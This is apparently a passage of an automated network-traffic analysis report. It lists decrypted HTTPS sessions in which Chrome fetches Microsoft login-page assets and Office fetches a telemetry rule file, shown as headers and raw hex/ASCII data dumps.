2024-12-05 21:17:10 UTC	16384	IN	Data Raw: da 7b 28 52 1a c0 52 1a 6c 7d a9 7d c8 da ec b2 52 7c bb b5 03 95 48 c0 1e df 22 ac 0d f1 00 d6 1c 08 2b a9 52 6d 2b b5 5b 3b 35 dd ae 32 f4 b4 c0 c8 36 df a9 0a 82 46 22 05 ef ac ac e5 81 96 00 1c f8 09 0f 2f ca 15 21 75 97 97 01 0f 25 a0 d9 fe b3 fd 1a 6b ab 0a 34 88 bb 01 8c 77 38 c7 0e c5 80 17 9b b8 8c 13 79 e3 7c ff 95 fa 33 88 72 26 d0 02 0a 40 fa 29 f3 f3 ef 84 bb 30 94 d5 42 73 c6 1e cb 5c 79 c5 09 43 0b d9 6c 8e 57 72 b8 7b 89 55 b4 e7 00 4f 01 c0 61 36 18 96 55 58 f9 86 c9 e9 30 b3 6f 78 d2 fd fa bd 69 d3 d1 04 60 a0 09 40 a8 fc 20 7d 8b 5b de d9 8c c5 6b e5 50 7f 47 0f 14 50 98 8e ed e8 31 8b c7 70 e8 ad f9 d5 7d 44 6f 2f f2 54 c4 6b 26 eb b9 bf a3 d7 97 92 bb 51 9f 65 a3 d8 84 7e cc 74 37 e7 02 ef b1 c3 1e 52 75 01 2a 4b 49 74 85 6e 61 8d 47 Data Ascii: {(RRl}}R\|H"+Rm+[;526F"/!u%k4w8y\|3r&@)0Bs\yClWr{UOa6UX0oxi`@ }[kPGP1p}Do/Tk&Qe~t7Ru*KItnaG
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: 1c 7f d9 85 e1 ba 19 23 fe 05 07 ae ca 22 a1 15 d2 5e 74 03 3d de 32 61 56 8b c8 ca 04 55 ad 05 53 e6 18 48 32 9a 32 49 20 b4 08 c9 2c 84 90 e1 94 49 00 a1 05 47 76 bf 72 e0 57 f7 11 fe 0e 0e b3 77 69 86 e8 72 5f f8 69 ef 16 06 6e bf e7 9e c2 e3 04 a1 f7 44 20 e6 e9 94 9e 39 b3 08 cc ec 9e eb 99 44 d3 8c 8c 5a fc 65 77 9f 33 23 44 1d 50 7d 93 3b f7 00 12 c2 56 eb 11 7d 2a d3 f1 5d 44 b9 0e 39 d7 5b 20 bd e1 58 4a 0e 7b 23 77 07 5b c6 7e 69 47 f1 3d 0c 41 84 3b aa 98 d4 0f 2c 3d 7a 04 3e f6 4b 27 81 bd ac 96 06 e1 de c3 94 03 83 4d 5c 01 32 54 dd 61 98 7c b1 90 d7 2c 67 d4 0f 10 7c 7b 56 9a ce ca 7b 65 19 63 be 29 2f 83 52 74 f1 85 01 66 1a c0 d9 9b 49 c7 f0 4a fc 71 89 8f f5 94 a0 37 ea 23 f0 ff c3 af e1 63 66 cd 64 f9 22 82 7c 17 a8 6a 58 39 d1 20 4e d0 Data Ascii: #"^t=2aVUSH22I ,IGvrWwir_inD 9DZew3#DP};V}*]D9[ XJ{#w[~iG=A;,=z>K'M\2Ta\|,g\|{V{ec)/RtfIJq7#cfd"\|jX9 N
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: 25 17 34 67 9a 22 0e 17 63 8b 78 32 19 92 bb 77 1b f5 27 c3 68 ec 67 de fb 09 07 08 64 61 56 34 36 f4 50 2c 75 a8 37 be 57 0a 38 60 80 cb 85 90 e1 08 ff 86 93 e8 29 54 8a 52 86 15 d0 a6 21 29 74 dc 42 40 87 32 ff d4 42 f4 96 c4 f1 7b c0 13 a4 09 9d 38 19 ba 47 0b 37 a8 38 69 54 1a c5 3a 1a cb f9 96 0e c8 bc ed c4 ab 96 1e 18 cd ab 79 2f 22 57 95 cc c4 8c dd 87 96 55 02 9b cc a6 60 4a e5 cc 25 a8 9a 79 46 54 11 19 46 fd 51 6b bf 16 23 f1 90 84 9e 9a 4d ac 15 ce 0d 58 a8 41 e4 02 e7 0f f5 12 96 98 f1 b1 1d 2d 07 e1 72 ec fc 14 a4 c0 ad bd 46 9c 97 9c a0 17 19 e3 6b 1c 65 24 28 3e 8f 50 d2 7e e3 57 ee e1 78 39 55 76 ca c6 8a 43 56 f1 0c 91 cf d4 81 81 2b 9b b6 60 12 ea 29 aa c1 fc ca fb a3 6b bc 1d 4f 92 83 70 3c 7c 14 6f cf 68 ef 9e 87 01 19 91 e5 f9 30 2a Data Ascii: %4g"cx2w'hgdaV46P,u7W8`)TR!)tB@2B{8G78iT:y/"WU`J%yFTFQk#MXA-rFke$(>P~Wx9UvCV+`)kOp<\|oh0*
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: 66 c0 3e ae 6d b8 da 25 53 7b 7f 16 d6 09 ed 5c 4e d5 59 95 c0 b5 6e d4 82 99 6c d2 34 8e 65 cd f0 ae ee b0 7f 0e 4b 0f 4b 76 fc 8f 4f 27 6b 0e 7b fb 39 88 e5 5e 2c 34 70 88 ec d9 59 85 45 4c 9d 6c 13 24 9a fd 19 0e 16 ed dc 9b 21 e8 0c 5e ab 6c 9e 6d 86 92 e1 78 d2 3e 7d 2a e2 e9 6d 42 44 d5 14 a0 1d dd 7e 0b 3b e1 82 36 56 cd 0d 96 d7 cc e1 c8 b5 b1 ee da 1b 20 36 1e 55 00 47 ef 77 b9 06 57 3e d1 c4 20 30 50 f5 05 ff d4 0e e5 dd 8e e4 5f e5 1b 0c e3 73 cd d8 5b d0 e8 8e dd 12 e1 e3 32 cc d7 a1 05 4d 5b 87 9b 1a 03 8a c3 af 5e 77 f8 2c da 52 46 30 3d 2b d7 3d 86 0b b9 96 43 b8 b0 3c 44 46 35 a9 a6 8a 53 eb 34 04 b7 4c 47 5d 0a dd 92 68 11 87 ed 27 c4 3e 78 26 d2 a2 42 b7 92 03 92 9f b2 90 ac b0 72 18 98 1e 26 58 4c 56 0d f0 06 7e 5a ea ad 15 59 17 96 6f Data Ascii: f>m%S{\NYnl4eKKvO'k{9^,4pYELl$!^lmx>}*mBD~;6V 6UGwW> 0P_s[2M[^w,RF0=+=C<DF5S4LG]h'>x&Br&XLV~ZYo
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: d2 0b 73 37 88 c3 20 89 3c 1e f9 b9 0b 1b 36 dc 47 2f c6 b4 f4 12 19 67 41 16 ca 2c b7 a3 48 64 61 ce 7c 37 8a 72 df 13 99 97 e5 77 b3 fb 56 fb 4a 31 82 30 f0 b3 9c fb be 97 08 27 ca 3d 2f 8b 33 9b db 59 80 61 ba 7b 99 37 63 11 a5 6e e0 43 43 c9 f2 d0 0e 3c b0 26 29 5d 1e 86 19 cb 22 37 8e a0 c9 c5 fb e9 2c cd 3d 9b c5 22 88 33 5f 66 49 9e c9 8c c5 be 67 c7 32 c8 58 ee e5 9e dc 4b 37 66 99 b8 88 dc 3c 82 7d 1c f8 1c b8 10 24 61 e2 47 6e 18 87 0e 03 18 b5 fc df b9 b3 94 45 81 eb 67 71 e4 c5 d2 96 22 49 58 94 cb 4c b0 28 ce 61 62 f1 fc 6e 96 f3 6a 37 35 07 4d 19 90 0e 36 3a f0 0d 9c 2a 81 1d 2d 19 4f 04 de 40 c0 62 26 f7 83 e6 5e 0a 2c 13 20 cd dc e3 81 4c 30 87 8e 93 db 32 0b 5c 91 c7 5e 1e 7a fb c1 bd 9a e3 a7 7e 22 5d df 49 b8 cb 58 2c 3d c7 97 b6 cd 93 Data Ascii: s7 <6G/gA,Hda\|7rwVJ10'=/3Ya{7cnCC<&)]"7,="3_fIg2XK7f<}$aGnEgq"IXL(abnj75M6:*-O@b&^, L02\^z~"]IX,=
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: e7 d3 7c e0 a6 24 fc bc de 73 e8 10 af 3e aa b4 78 af 1d b9 1d ba 15 ef 41 85 05 37 37 1e ec 6a c1 9b 2d 8f ff 00 b2 be 6a 34 c0 16 45 99 97 7b 67 05 e7 c5 25 e1 0c 50 50 7c 5b ce 7f ec eb bb bf c8 26 db bf 5e 88 3a 6f 61 9d a5 bd d3 5e 7f 91 4f 59 f6 5b 6c fa 6d 8a 30 dd 3f b0 d0 d2 a3 5b bb fd 61 f3 4a 3c 5d 96 6a ec d3 ee b2 ac 97 d8 62 33 50 29 42 05 83 f6 4f 64 c5 3b 0d 6e 2a b4 57 f6 5b 87 2c fd ed a2 2a f4 e1 02 25 de 8b 27 fa b5 da 92 ae ef a8 38 98 4c 26 07 44 f0 d1 68 dc 7a 3f 7e 01 cb 81 a2 3c 9e ff f4 e4 41 1f b1 d5 b3 37 7f d9 b9 d6 64 0d a3 bb 9f 37 d2 5c a5 4f 6f 76 e6 a9 7e b9 d1 6b 31 25 87 3d d3 31 06 ad 7a ed 0f 9b fa ab 33 6d fe c0 68 17 7d b9 ae c6 f4 ee c2 f1 89 c2 9b d6 ad 9c 9f 95 0b c3 33 d7 1c 0c eb 9f bf 1c 6f c7 e7 f3 e8 7c 99 Data Ascii: \|$s>xA77j-j4E{g%PP\|[&^:oa^OY[lm0?[aJ<]jb3P)BOd;nW[,%'8L&Dhz?~<A7d7\Oov~k1%=1z3mh}3o\|
2024-12-05 21:17:10 UTC	8451	IN	Data Raw: 0e a8 04 a8 bd c6 ca 76 98 b2 0c a7 ff 8a 96 31 7c 8b 96 21 0d a4 a6 fd 0c 6f d1 7c c0 9f 01 90 48 9a af 4e a2 fd 07 c7 45 6b be 25 2e 86 e7 66 07 0f 2f 51 1d 89 82 39 89 31 1b 19 4d a3 ae fd 32 a5 41 7d b5 6f e0 af 4f 97 e2 ec 1a f6 7b 9c cc 09 a8 5f 85 87 27 e1 62 99 6a 3f 66 25 cf 3f c0 4a 21 bc 40 bb 09 42 ed 37 7c 71 84 d1 c0 f8 5d 34 61 17 79 41 0f ae b4 7f 4c a9 b1 8d 8e f6 0c 36 af 4f 51 ec 69 bf b3 87 3f 92 f4 34 24 18 f8 18 51 49 fb 89 3d 3d ff 10 2c fe 9d 7a da df 71 90 47 e9 67 ed 9f 74 b4 00 39 b7 78 0f 52 fb 17 bc 08 2a 98 a4 fd 1b cb bf 25 18 b0 e7 28 02 9d c0 4d 79 0a 56 8d 10 e9 15 4b d4 b5 d0 42 e9 21 14 7c 15 b1 10 eb a0 52 c1 f3 98 3e a6 53 45 97 95 e0 4a 0b f0 31 ae da 5b 50 73 f0 36 26 45 78 fe d2 26 19 9c 8e 90 f8 e6 5a 44 a6 3b 3b Data Ascii: v1\|!o\|HNEk%.f/Q91M2A}oO{_'bj?f%?J!@B7\|q]4ayAL6OQi?4$QI==,zqGgt9xR*%(MyVKB!\|R>SEJ1[Ps6&Ex&ZD;;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49845	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:09 UTC	649	OUT	GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:10 UTC	744	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:10 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: b4c0f12b-801e-0075-57c7-45a87a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211710Z-1746fd949bdqpttnhC1EWRe1wg00000002x000000000wh2f x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:10 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-12-05 21:17:10 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49846	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:09 UTC	618	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:10 UTC	798	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:10 GMT Content-Type: application/x-javascript Content-Length: 116365 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 15 Aug 2024 17:52:54 GMT ETag: 0x8DCBD5317046A2F x-ms-request-id: 885d0ab0-d01e-000a-1530-4067e1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211710Z-1746fd949bd6zq92hC1EWRry48000000037000000000g40t x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:10 UTC	15586	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec bd 6b 5b db 48 b6 28 fc 7d ff 0a 5b bb c7 2d b5 0b 63 19 30 44 46 78 48 42 7a 98 49 02 07 c8 f4 f4 10 4f 1e 61 97 b1 12 23 79 74 e1 d2 d8 fb b7 bf 6b ad aa 92 4a b2 0c 26 dd fb 9c 0f ef f4 d3 c1 ba 94 ea 5e eb 7e d9 fc a9 fe 5f b5 9f 6a 1b eb ff 57 3b bf 38 3c bb a8 9d bc ab 5d fc e5 f8 ec 6d ed 14 ee 7e ad 7d 3c b9 38 7e 73 b4 7e 3d d8 28 fe bb 98 f8 71 6d ec 4f 79 0d 7e af bc 98 8f 6a 61 50 0b a3 9a 1f 0c c3 68 16 46 5e c2 e3 da 0d fc 8d 7c 6f 5a 1b 47 e1 4d 2d 99 f0 da 2c 0a bf f2 61 12 d7 a6 7e 9c c0 47 57 7c 1a de d5 4c a8 2e 1a d5 4e bd 28 79 a8 1d 9f 5a 2d a8 9f 43 6d fe b5 1f c0 d7 c3 70 f6 00 d7 93 a4 16 84 89 3f e4 35 2f 18 51 6d 53 b8 09 62 5e 4b 83 11 8f 6a 77 13 7f 38 a9 7d f0 87 51 18 87 e3 a4 16 f1 21 f7 6f Data Ascii: k[H(}[-c0DFxHBzIOa#ytkJ&^~_jW;8<]m~}<8~s~=(qmOy~jaPhF^\|oZGM-,a~GW\|L.N(yZ-Cmp?5/QmSb^Kjw8}Q!o
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: 72 48 0c 1b 29 1f 49 83 69 74 84 3e 47 59 80 42 9b b2 59 ca d8 88 5e 36 a7 24 f7 af 17 38 0d 53 1c 3e 97 dc 17 24 8a 0d 4a a7 01 95 4d e2 5c ba e4 61 91 1d cc fc 76 23 bb 17 d9 47 55 e3 fb 1d 24 72 d5 75 be 53 62 b7 c3 d2 4d f8 e3 e1 9f 08 fe 94 d8 cb 4c b2 60 93 73 a2 08 7c dd c2 cc 73 9f 8e 83 c4 ee be 3e 32 f9 4f b1 b5 a0 9d 4a e3 1e bb 1b c2 d1 c8 77 a3 9e bf 9f 52 28 74 4a 36 90 30 df 82 5a d0 d6 7a 03 ab 1b c3 71 f0 37 c6 a2 a7 e2 09 4c c4 d8 f5 2d 06 8f 9b b6 66 12 5d 1b ff 14 d3 96 df 40 63 44 2c e6 6f b8 f8 2d c3 e6 72 5b e7 a8 e9 1d a4 c2 f9 71 c3 23 61 49 cf 47 27 27 7f 63 23 57 e2 4e 51 f5 3a 81 a7 93 7d af 37 d1 7a d7 44 92 9b fa 37 81 4e 4d 11 fd 88 ec b6 68 ac 96 e7 17 55 b3 97 4f d5 55 ce e4 46 ae d0 47 c2 99 47 5b 6a a1 db c9 ce 2d d0 71 Data Ascii: rH)Iit>GYBY^6$8S>$JM\av#GU$ruSbML`s\|s>2OJwR(tJ60Zzq7L-f]@cD,o-r[q#aIG''c#WNQ:}7zD7NMhUOUFGG[j-q
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: 29 8c 92 ca 92 96 69 33 da 9c 35 38 fc d6 d6 60 90 eb 41 a0 12 7b 42 d2 a3 7c 11 42 9b 34 a2 89 fa ac 50 54 6d 90 84 ac 5a 8e c0 f6 f8 15 ad ba d6 15 90 17 54 c3 6f b0 8f f9 f7 1b 9e 4f e9 71 33 74 f5 c0 fd e6 30 a7 21 7d a1 5d 47 f8 42 c3 4d be f3 4f 41 ba 44 02 66 76 07 a0 26 a7 28 74 99 e0 3b c9 b0 c7 62 54 65 49 f7 30 01 73 38 73 93 6f be 83 38 82 66 ee ce ce 1e 6e 0d f8 b1 f5 0c 45 5a dc 2d bb 1e b9 c6 a8 1c a5 3d e7 d3 a7 01 cc 63 fd e7 fc 53 3e 06 6a 35 fc f4 09 4b f4 c5 6e dd 03 86 b1 25 2e c8 49 20 ba c1 d7 11 55 f4 05 62 8b c7 b5 5e f7 e2 9e ef 6c 35 b7 f6 9a 6d 87 5d 61 90 56 d2 75 a6 25 9c a5 be 73 39 49 2f c2 89 c3 06 e9 f4 2e 8b 2f c7 85 ef 7c bc 0d 9f ad 6c b6 da db eb 9b ad cd ed 95 17 51 82 39 5e a0 b7 cf f0 f1 eb 15 f7 97 49 1a 67 29 5a Data Ascii: )i358`A{B\|B4PTmZToOq3t0!}]GBMOADfv&(t;bTeI0s8so8fnEZ-=cS>j5Kn%.I Ub^l5m]aVu%s9I/./\|lQ9^Ig)Z
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: 43 68 1e b4 61 d1 c2 e6 08 96 6a d0 1c 75 d2 c3 bc a3 a2 68 ef 40 82 32 1c 1c 7b 39 fa ab 83 34 35 ee 0e dd d2 bd c6 a3 e3 da f3 7c fa 79 15 5c ca 3e 2f 40 6c be 3a bc e8 78 20 98 f4 2e e0 1d e4 fd 56 63 77 ca ae d9 1d 3a bf 64 68 0d bf 86 7f 8c a4 17 fe f8 eb 7d 5b d4 06 df ab e2 2b 59 bc 90 fa 71 8c 6d 52 7e a4 58 f9 fa 23 e9 ab 86 4c d4 b9 ba f0 c4 a4 6a a5 37 fb c1 26 5b c5 f2 30 9b 42 1c ab 21 ec 3a 8a cc 58 07 52 57 12 27 53 82 ac c7 c9 ad f0 1a cb f1 c6 54 45 5c 89 e4 5c bd 7e 67 7a 48 3c 46 dc 1b 4a 50 ba e3 2e 79 86 a5 3e ca 8a 99 87 ca 6b 17 98 cf 6e 0f 3e 00 68 d3 f7 f1 5f 4f 3b 19 98 1a 87 7b c1 08 f8 63 17 4f 7f ce 0c e0 45 fb 8b 27 9e ee 44 80 27 ce ab 3e 29 12 46 c4 b8 b4 78 ad c9 f6 06 5c b6 37 22 bf 58 45 07 fb 68 b5 36 b5 cb 52 b6 2d b7 Data Ascii: Chajuh@2{945\|y\>/@l:x .Vcw:dh}[+YqmR~X#Lj7&[0B!:XRW'STE\\~gzH<FJP.y>kn>h_O;{cOE'D'>)Fx\7"XEh6R-
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: 50 d0 d5 39 aa fa b8 ea f0 0c 5e b3 3c ed 39 82 c4 c7 f0 e9 f8 a9 11 fd ee 03 1a 02 ec ec bc 1e bd 0c cf 82 8f 18 b1 2f f9 88 f8 f5 23 27 ed f9 c8 49 92 e1 1d 56 8c 6e 6f f1 cf 94 ff 2c 77 76 ec 2f 77 7a 98 3c 16 d9 f0 ed 93 db db 13 5b d5 13 9e a8 98 80 40 5f 4f 91 e3 3d 11 94 39 fa 19 ba 7f ca ac ef 0d d6 09 1c 92 46 38 e2 5f c7 49 80 9e 8b 38 eb 6c 85 09 b4 62 9d 5b 1d 47 92 f1 80 12 5a 18 ff 2c 54 bd 88 98 d9 ee e6 6f 4b a0 df 82 eb 90 1a 8e 00 5a 51 5c b0 c2 e5 84 de 2e 50 30 f1 df 6e 0c 8b a6 ae c5 6b 1f 27 c6 89 07 4e c3 78 68 cd f9 b4 db 43 45 68 31 f4 4e bb b0 17 d0 fc 82 4d ac e3 d0 7d d5 09 af 3d bd d4 fe 19 1c c3 e9 22 e3 50 a5 b2 47 17 b0 3f bc 0a d5 2e 75 7a b8 4f b2 1e 67 34 d9 4e 63 97 9f 7b d6 02 d4 b7 02 3a c1 61 cd 3d bd 16 ca 31 da 5e Data Ascii: P9^<9/#'IVno,wv/wz<[@_O=9F8_I8lb[GZ,ToKZQ\.P0nk'NxhCEh1NM}="PG?.uzOg4Nc{:a=1^
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: 74 72 fb 31 53 f0 93 bc 81 d3 83 bc d1 d3 83 6f 9c 02 6a e3 fb cf 03 ef f3 c6 93 51 af 57 f8 d0 5e 5b 41 b8 f6 c6 e1 d5 bf ff 20 b0 d5 6f 1c 43 7a 51 d7 1b c8 5f b4 24 71 d3 9b 0f a9 c9 b3 dd 0b f2 21 90 e4 43 24 09 25 4b 50 0d cf 8c 6f 62 e5 88 72 b3 63 51 46 52 e9 a5 cc 3b 9c 98 a6 0a 38 4d 85 3e df 95 f8 88 93 19 59 81 f6 42 13 0b 3c a8 2b 2c 2d 59 af b6 22 6e 07 b3 d5 11 28 e7 e0 30 d6 1d 1f c9 39 a8 6e 32 07 6f ac 59 1e 59 61 06 62 7c 2e 46 48 49 7c f6 91 70 d4 91 9b 81 f1 18 46 32 48 1c 20 d2 22 15 56 dd 08 24 98 bd d5 e8 1b 4f 8d 4c 62 15 e0 46 85 7d 25 72 e1 38 5e 7e 87 07 db e6 9f 6c e6 7d 32 ab ec c2 0d 57 35 d2 59 01 79 ee 6f 72 13 0d 85 da 8b c2 83 6c d0 0b 34 66 a5 dd 0c f0 9d ab f8 24 00 73 8c 07 b4 02 92 4b d5 b1 75 17 96 0e b3 72 50 0e 90 Data Ascii: tr1SojQW^[A oCzQ_$q!C$%KPobrcQFR;8M>YB<+,-Y"n(09n2oYYab\|.FHI\|pF2H "V$OLbF}%r8^~l}2W5Yyorl4f$sKurP
2024-12-05 21:17:10 UTC	16384	IN	Data Raw: 63 4d 91 32 d6 52 36 60 5b ac 09 30 f3 65 fb ce f6 e7 38 a2 0d 16 84 de c9 87 1f 4f 4a f8 36 33 60 db bc f3 8d 03 e9 66 d1 90 42 cf a6 8c fd 73 20 33 13 e0 aa f5 a5 40 6e 98 1e 23 65 91 c8 1f 22 65 95 88 25 a6 ed 09 b2 32 48 8d e5 00 61 76 8c 6d 19 c2 5e e8 e8 5e 3a 68 05 64 8e e3 55 ad b0 7d a3 83 90 da 2a 86 89 ff 9d c7 b5 4c 3e b3 9f 90 23 3f b5 f8 ac 9f a3 69 ac a8 c9 d7 f0 d0 a1 31 ea b0 ea 38 1e fd 81 54 43 6a 1c c9 64 bf 17 8b 88 be 28 f5 24 4f 23 ba 05 68 c1 47 42 db e7 a1 13 f6 2b fb 9b 6e 7b fe 7a ee ac 7b ca 26 59 1f ca 92 10 03 1c 99 6d 00 76 75 8c 2b c5 8d 05 8e f2 dd 2e 95 2d ec ca 58 d9 6b fb 4e 66 a6 cd 1d 6c b8 21 f1 95 ff f2 7e 8c bb ce 0d 00 36 ef 3f bd f7 5f 1e 44 1d cd 79 b1 33 af ad 20 dc 62 0c f8 da ff d2 10 b6 5d 8b f8 dd ff 09 a0 Data Ascii: cM2R6`[0e8OJ63`fBs 3@n#e"e%2Havm^^:hdU}*L>#?i18TCjd($O#hGB+n{z{&Ymvu+.-XkNfl!~6?_Dy3 b]
2024-12-05 21:17:10 UTC	2475	IN	Data Raw: de 2c 30 3f 34 26 15 78 3c 32 d3 c9 17 b6 63 68 f2 5e 3e ca 38 c7 fa da b4 a6 b7 c9 4e e7 6b eb eb 52 5a e4 a3 63 e0 52 22 d0 e9 eb e5 b4 39 64 8c cb 89 81 6f d5 ca 69 80 28 8f c7 e5 c4 31 24 e6 e5 c4 29 24 a6 e5 c4 89 0f 04 77 29 6d e6 03 81 5d 4a 1b f9 40 80 97 d2 6e 7c 20 c6 4b 69 97 3e 50 1b a5 b4 73 1f 48 9c 52 da 85 0f a4 51 29 ed cc b7 9e 94 d3 ae d0 e1 5d 29 ed da b7 be 2d a7 1d c9 68 79 e3 e3 b4 66 7d f1 b5 ed ac f7 28 1c df ed 02 dd 2b ec 9b 9f eb f4 dd eb 7d 2b 33 dc 1d af db 7d ff f8 89 03 39 df f8 eb ad c1 71 0a 93 ff b5 bd 0e 9f d7 dd 17 14 4f 10 e3 02 ae 47 0f d8 5e 7f 74 4f dd e7 ee a1 fb d6 fd d5 7d e5 be 73 0f 7e 87 46 f4 ed c2 7d 89 4a 7c 59 a6 83 dc bb ef fd 83 56 74 1e 03 cf f7 82 63 43 7f e7 bf 94 24 d3 33 bf ed be 46 3e eb 7b 14 3a Data Ascii: ,0?4&x<2ch^>8NkRZcR"9doi(1$)$w)m]J@n\| Ki>PsHRQ)])-hyf}(+}+3}9qOG^tO}s~F}J\|YVtcC$3F>{:

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:11 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:11 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 5f5d2afa-901e-0015-66cc-45b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211711Z-1746fd949bd54zxghC1EWRzre400000003d000000001152t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
